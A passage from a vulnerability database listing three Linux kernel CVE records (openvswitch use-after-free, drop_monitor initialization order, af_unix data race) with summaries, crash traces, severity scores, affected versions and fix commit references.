        {
          "url": "https://git.kernel.org/stable/c/9048616553c65e750d43846f225843ed745ec0d4"
        },
        {
          "url": "https://git.kernel.org/stable/c/bca6fa2d9a9f560e6b89fd5190b05cc2f5d422c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaa5e164a2110d2fb9e16c8a29e4501882235137"
        },
        {
          "url": "https://git.kernel.org/stable/c/edee0758747d7c219e29db9ed1d4eb33e8d32865"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ea7b72d4fac2fdbc0425cd8f2ea33abe95235b2"
        }
      ],
      "title": "net: openvswitch: Fix Use-After-Free in ovs_ct_exit",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27395",
    "datePublished": "2024-05-09T16:37:15.196Z",
    "dateReserved": "2024-02-25T13:47:42.677Z",
    "dateUpdated": "2026-05-12T11:51:33.210Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21862 (GCVE-0-2025-21862)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:04

Title

drop_monitor: fix incorrect initialization order

Summary

In the Linux kernel, the following vulnerability has been resolved: drop_monitor: fix incorrect initialization order Syzkaller reports the following bug: BUG: spinlock bad magic on CPU#1, syz-executor.0/7995 lock: 0xffff88805303f3e0, .magic: 00000000, .owner: <none>/-1, .owner_cpu: 0 CPU: 1 PID: 7995 Comm: syz-executor.0 Tainted: G E 5.10.209+ #1 Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0x119/0x179 lib/dump_stack.c:118 debug_spin_lock_before kernel/locking/spinlock_debug.c:83 [inline] do_raw_spin_lock+0x1f6/0x270 kernel/locking/spinlock_debug.c:112 __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:117 [inline] _raw_spin_lock_irqsave+0x50/0x70 kernel/locking/spinlock.c:159 reset_per_cpu_data+0xe6/0x240 [drop_monitor] net_dm_cmd_trace+0x43d/0x17a0 [drop_monitor] genl_family_rcv_msg_doit+0x22f/0x330 net/netlink/genetlink.c:739 genl_family_rcv_msg net/netlink/genetlink.c:783 [inline] genl_rcv_msg+0x341/0x5a0 net/netlink/genetlink.c:800 netlink_rcv_skb+0x14d/0x440 net/netlink/af_netlink.c:2497 genl_rcv+0x29/0x40 net/netlink/genetlink.c:811 netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline] netlink_unicast+0x54b/0x800 net/netlink/af_netlink.c:1348 netlink_sendmsg+0x914/0xe00 net/netlink/af_netlink.c:1916 sock_sendmsg_nosec net/socket.c:651 [inline] __sock_sendmsg+0x157/0x190 net/socket.c:663 ____sys_sendmsg+0x712/0x870 net/socket.c:2378 ___sys_sendmsg+0xf8/0x170 net/socket.c:2432 __sys_sendmsg+0xea/0x1b0 net/socket.c:2461 do_syscall_64+0x30/0x40 arch/x86/entry/common.c:46 entry_SYSCALL_64_after_hwframe+0x62/0xc7 RIP: 0033:0x7f3f9815aee9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f3f972bf0c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f3f9826d050 RCX: 00007f3f9815aee9 RDX: 0000000020000000 RSI: 0000000020001300 RDI: 0000000000000007 RBP: 00007f3f981b63bd R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 000000000000006e R14: 00007f3f9826d050 R15: 00007ffe01ee6768 If drop_monitor is built as a kernel module, syzkaller may have time to send a netlink NET_DM_CMD_START message during the module loading. This will call the net_dm_monitor_start() function that uses a spinlock that has not yet been initialized. To fix this, let's place resource initialization above the registration of a generic netlink family. Found by InfoTeCS on behalf of Linux Verification Center (linuxtesting.org) with Syzkaller.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-908 - Use of Uninitialized Resource

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6e9e0f224ffd8b819…
https://git.kernel.org/stable/c/29f9cdcab3d96d520…
https://git.kernel.org/stable/c/872c7c7e57a746046…
https://git.kernel.org/stable/c/fcfc00bfec7bb6661…
https://git.kernel.org/stable/c/0efa6c42f81c60d8f…
https://git.kernel.org/stable/c/b7859e8643e75619b…
https://git.kernel.org/stable/c/219a47d0e6195bd20…
https://git.kernel.org/stable/c/07b598c0e6f06a0f2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 6e9e0f224ffd8b819da3ea247dda404795fdd182 (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 29f9cdcab3d96d5207a5c92b52c40ad75e5915d8 (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 872c7c7e57a746046796ddfead529c9d37b9f6b4 (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < fcfc00bfec7bb6661074cb21356d05a4c9470a3c (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 0efa6c42f81c60d8f72ba7f5ed8d4fec8c526282 (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < b7859e8643e75619b2705b4fcac93ffd94d72b4a (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 219a47d0e6195bd202f22855e35f25bd15bc4d58 (git) Affected: 9a8afc8d3962f3ed26fd6b56db34133860ed1e72 , < 07b598c0e6f06a0f254c88dafb4ad50f8a8c6eea (git)
Linux	Linux	Affected: 2.6.30 Unaffected: 0 , < 2.6.30 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21862",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:25:42.627398Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-908",
                "description": "CWE-908 Use of Uninitialized Resource",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:26:37.640Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:19.222Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:08.568Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/drop_monitor.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6e9e0f224ffd8b819da3ea247dda404795fdd182",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "29f9cdcab3d96d5207a5c92b52c40ad75e5915d8",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "872c7c7e57a746046796ddfead529c9d37b9f6b4",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "fcfc00bfec7bb6661074cb21356d05a4c9470a3c",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "0efa6c42f81c60d8f72ba7f5ed8d4fec8c526282",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "b7859e8643e75619b2705b4fcac93ffd94d72b4a",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "219a47d0e6195bd202f22855e35f25bd15bc4d58",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            },
            {
              "lessThan": "07b598c0e6f06a0f254c88dafb4ad50f8a8c6eea",
              "status": "affected",
              "version": "9a8afc8d3962f3ed26fd6b56db34133860ed1e72",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/drop_monitor.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.30"
            },
            {
              "lessThan": "2.6.30",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrop_monitor: fix incorrect initialization order\n\nSyzkaller reports the following bug:\n\nBUG: spinlock bad magic on CPU#1, syz-executor.0/7995\n lock: 0xffff88805303f3e0, .magic: 00000000, .owner: \u003cnone\u003e/-1, .owner_cpu: 0\nCPU: 1 PID: 7995 Comm: syz-executor.0 Tainted: G            E     5.10.209+ #1\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0x119/0x179 lib/dump_stack.c:118\n debug_spin_lock_before kernel/locking/spinlock_debug.c:83 [inline]\n do_raw_spin_lock+0x1f6/0x270 kernel/locking/spinlock_debug.c:112\n __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:117 [inline]\n _raw_spin_lock_irqsave+0x50/0x70 kernel/locking/spinlock.c:159\n reset_per_cpu_data+0xe6/0x240 [drop_monitor]\n net_dm_cmd_trace+0x43d/0x17a0 [drop_monitor]\n genl_family_rcv_msg_doit+0x22f/0x330 net/netlink/genetlink.c:739\n genl_family_rcv_msg net/netlink/genetlink.c:783 [inline]\n genl_rcv_msg+0x341/0x5a0 net/netlink/genetlink.c:800\n netlink_rcv_skb+0x14d/0x440 net/netlink/af_netlink.c:2497\n genl_rcv+0x29/0x40 net/netlink/genetlink.c:811\n netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline]\n netlink_unicast+0x54b/0x800 net/netlink/af_netlink.c:1348\n netlink_sendmsg+0x914/0xe00 net/netlink/af_netlink.c:1916\n sock_sendmsg_nosec net/socket.c:651 [inline]\n __sock_sendmsg+0x157/0x190 net/socket.c:663\n ____sys_sendmsg+0x712/0x870 net/socket.c:2378\n ___sys_sendmsg+0xf8/0x170 net/socket.c:2432\n __sys_sendmsg+0xea/0x1b0 net/socket.c:2461\n do_syscall_64+0x30/0x40 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x62/0xc7\nRIP: 0033:0x7f3f9815aee9\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f3f972bf0c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f3f9826d050 RCX: 00007f3f9815aee9\nRDX: 0000000020000000 RSI: 0000000020001300 RDI: 0000000000000007\nRBP: 00007f3f981b63bd R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000006e R14: 00007f3f9826d050 R15: 00007ffe01ee6768\n\nIf drop_monitor is built as a kernel module, syzkaller may have time\nto send a netlink NET_DM_CMD_START message during the module loading.\nThis will call the net_dm_monitor_start() function that uses\na spinlock that has not yet been initialized.\n\nTo fix this, let\u0027s place resource initialization above the registration\nof a generic netlink family.\n\nFound by InfoTeCS on behalf of Linux Verification Center\n(linuxtesting.org) with Syzkaller."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:56.958Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6e9e0f224ffd8b819da3ea247dda404795fdd182"
        },
        {
          "url": "https://git.kernel.org/stable/c/29f9cdcab3d96d5207a5c92b52c40ad75e5915d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/872c7c7e57a746046796ddfead529c9d37b9f6b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/fcfc00bfec7bb6661074cb21356d05a4c9470a3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/0efa6c42f81c60d8f72ba7f5ed8d4fec8c526282"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7859e8643e75619b2705b4fcac93ffd94d72b4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/219a47d0e6195bd202f22855e35f25bd15bc4d58"
        },
        {
          "url": "https://git.kernel.org/stable/c/07b598c0e6f06a0f254c88dafb4ad50f8a8c6eea"
        }
      ],
      "title": "drop_monitor: fix incorrect initialization order",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21862",
    "datePublished": "2025-03-12T09:42:19.881Z",
    "dateReserved": "2024-12-29T08:45:45.780Z",
    "dateUpdated": "2026-05-12T12:04:08.568Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38596 (GCVE-0-2024-38596)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:45 – Updated: 2026-05-12 11:54

Title

af_unix: Fix data races in unix_release_sock/unix_stream_sendmsg

Summary

In the Linux kernel, the following vulnerability has been resolved: af_unix: Fix data races in unix_release_sock/unix_stream_sendmsg A data-race condition has been identified in af_unix. In one data path, the write function unix_release_sock() atomically writes to sk->sk_shutdown using WRITE_ONCE. However, on the reader side, unix_stream_sendmsg() does not read it atomically. Consequently, this issue is causing the following KCSAN splat to occur: BUG: KCSAN: data-race in unix_release_sock / unix_stream_sendmsg write (marked) to 0xffff88867256ddbb of 1 bytes by task 7270 on cpu 28: unix_release_sock (net/unix/af_unix.c:640) unix_release (net/unix/af_unix.c:1050) sock_close (net/socket.c:659 net/socket.c:1421) __fput (fs/file_table.c:422) __fput_sync (fs/file_table.c:508) __se_sys_close (fs/open.c:1559 fs/open.c:1541) __x64_sys_close (fs/open.c:1541) x64_sys_call (arch/x86/entry/syscall_64.c:33) do_syscall_64 (arch/x86/entry/common.c:?) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) read to 0xffff88867256ddbb of 1 bytes by task 989 on cpu 14: unix_stream_sendmsg (net/unix/af_unix.c:2273) __sock_sendmsg (net/socket.c:730 net/socket.c:745) ____sys_sendmsg (net/socket.c:2584) __sys_sendmmsg (net/socket.c:2638 net/socket.c:2724) __x64_sys_sendmmsg (net/socket.c:2753 net/socket.c:2750 net/socket.c:2750) x64_sys_call (arch/x86/entry/syscall_64.c:33) do_syscall_64 (arch/x86/entry/common.c:?) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) value changed: 0x01 -> 0x03 The line numbers are related to commit dd5a440a31fa ("Linux 6.9-rc7"). Commit e1d09c2c2f57 ("af_unix: Fix data races around sk->sk_shutdown.") addressed a comparable issue in the past regarding sk->sk_shutdown. However, it overlooked resolving this particular data path. This patch only offending unix_stream_sendmsg() function, since the other reads seem to be protected by unix_state_lock() as discussed in

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/fca6072e1a7b1e709…
https://git.kernel.org/stable/c/de6641d213373fbde…
https://git.kernel.org/stable/c/4d51845d734a4c5d0…
https://git.kernel.org/stable/c/9aa8773abfa0e9541…
https://git.kernel.org/stable/c/8299e4d778f664b31…
https://git.kernel.org/stable/c/0688d4e499bee3f27…
https://git.kernel.org/stable/c/a4c88072abcaca593…
https://git.kernel.org/stable/c/a52fa2addfcccc2c5…
https://git.kernel.org/stable/c/540bf24fba16b88c1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fca6072e1a7b1e709ada5604b951513b89b4bd0a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < de6641d213373fbde9bbdd7c4b552254bc9f82fe (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4d51845d734a4c5d079e56e0916f936a55e15055 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9aa8773abfa0e954136875b4cbf2df4cf638e8a5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8299e4d778f664b31b67cf4cf3d5409de2ecb92c (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0688d4e499bee3f2749bca27329bd128686230cb (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a4c88072abcaca593cefe70f90e9d3707526e8f9 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a52fa2addfcccc2c5a0217fd45562605088c018b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 540bf24fba16b88c1b3b9353927204b4f1074e25 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:40.772Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fca6072e1a7b1e709ada5604b951513b89b4bd0a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/de6641d213373fbde9bbdd7c4b552254bc9f82fe"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4d51845d734a4c5d079e56e0916f936a55e15055"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9aa8773abfa0e954136875b4cbf2df4cf638e8a5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8299e4d778f664b31b67cf4cf3d5409de2ecb92c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0688d4e499bee3f2749bca27329bd128686230cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a4c88072abcaca593cefe70f90e9d3707526e8f9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a52fa2addfcccc2c5a0217fd45562605088c018b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/540bf24fba16b88c1b3b9353927204b4f1074e25"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38596",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:13:37.376960Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:54.639Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:53.796Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
